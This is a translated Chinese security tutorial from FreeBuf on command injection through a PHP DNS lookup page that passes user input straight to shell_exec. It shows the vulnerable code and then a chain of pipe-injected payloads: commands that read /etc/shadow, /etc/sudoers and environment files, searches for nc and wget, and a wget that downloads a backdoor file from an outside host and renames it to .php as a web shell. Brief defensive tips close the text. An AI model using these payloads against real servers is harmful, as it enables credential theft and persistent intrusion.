恶意代码注入虽然不是一个新的技术,甚至与我们熟知的远程代码执行漏洞并无原理上的区别,但危害却是致命的。本文的场景独特,方法也挺有趣,希望对各位freebufer们有所启发。 闲话少说,现在让我们来看看下图:
这是一个提供查询DNS服务的网站接口,用户可以在输入框中键入IP或主机名来进行查询。 他的代码实现也并不复杂,如下:
<?php if (isset($_POST["dns-lookup-php-submit-button"])){ try{ if ($targethost_validated){ echo shell_exec(“nslookup ” . $targethost); $LogHandler->writeToLog($conn, “Executed operating system command: nslookup ” . $lTargetHostText); }else{ echo ‘<script>document.getElementById(“id-bad-cred-tr”).style.display=”"</script>’; }// end if ($targethost_validated){ }catch(Exception $e){ echo $CustomErrorHandler->FormatError($e, “Input: ” . $targethost); }// end try }// end if (isset($_POST)) ?>
好了,现在我们试着查询一个IP 74.125.31.102 在之前的代码里,你们发现了shell_exec()函数了么?
那么现在你应该明白这个查询接口是怎么实现的了,即通过shell_exec(“nslookup ” . $targethost)来执行系统命令,非常之简单。 下面我们会开始想方设法注入恶意代码 LINUX下"&&"可以用来连接命令,";"是命令分隔符。现在,我们会用echo命令来进行一些尝试,而我个人更倾向于使用"|"(管道符)而不是"&&",具体原因下面会讲到。
| echo ‘hello’
我们执行上面这条命令,其实与在终端下执行nslookup | echo ‘hello’效果是一样的。 我为什么会使用管道符"|"而不是"&&"呢?下图会给你解释。 接下来我们试图获得更多的服务器信息。因为我们之前使用了命令uname -a,我们已经能够识别系统信息,比如Linux kernel release 3.0.0-1,网络接点的主机名是projectX,操作系统是GNU/Linux等等…
我们来查看这台服务器使用了哪种linux:
| cat /etc/issue | cat /etc/*-release | cat /etc/lsb-release | cat /etc/redhat-release
哈,这是一个BackBox,是笔者最爱的一款linux发行版:) 来看看我们在哪个目录下:
| pwd ; ls -la
| ps aux | ps -ef | top | cat /etc/service
为了能进一步发现系统中的弱点,以使用一些诸如exploit等方法进行渗透测试
下面的一些命令你兴许用得上:
| cat /etc/environment | cat /proc/self/environ | cat /etc/shadow | cat /etc/sudoers | cat /etc/group | cat /etc/security/group | cat /etc/security/passwd | cat /etc/security/user | cat /etc/security/environ | cat /etc/security/limits | cat /usr/lib/security/mkuser.default | cat /var/log/messages | cat var/log/mysql.log | cat /var/log/user.log | cat /var/www/logs/error_log | cat /etc/syslog.conf | cat /etc/chttp.conf | cat /etc/lighttpd.conf | cat /etc/cups/cupsd.conf | cat /etc/inetd.conf | cat /etc/apache2/apache2.conf | cat/var/log/apache2/error.log | cat /etc/my.conf | cat /etc/httpd/conf/httpd.conf | cat /opt/lampp/etc/httpd.conf | ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/ | cat /etc/resolv.conf | cat /etc/sysconfig/network | cat /etc/networks | /sbin/ifconfig -a | cat /etc/network/interfaces | s -alh /var/spool/cron | ls -al /etc/ | grep cron | ls -al /etc/cron* | cat /etc/cron* | cat /etc/at.allow | cat /etc/at.deny | cat /etc/cron.allow | cat /etc/cron.deny | cat /etc/crontab | cat /etc/anacrontab | cat /var/spool/cron/crontabs/root
许多攻击者乐于在Linux服务器上留下后门,因此他们需要尝试哪些文件可以上传。
| find / -name wget | find / -name nc* | find / -name netcat* | find / -name tftp* | find / -name ftp
我们随便wget一个txt
| wget http://freebuf.com/thanks/unixhck.txt
| wget http://freebuf.com/backdoor.txt
重命名
| cp backdoor.txt backdoor.php
查看我们的shell 几条防止远程代码执行的TIPS: 1.禁止shell_exec()函数
2.如果你确实需要使用shell_exec()函数,建议使用escapeshellarg()和escapeshellcmd()做过滤。
3.使用WAF或mod_security等模块进行拦截过滤。 拓展阅读: http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution A. Jay Turla 译:Thanks[Freebuf]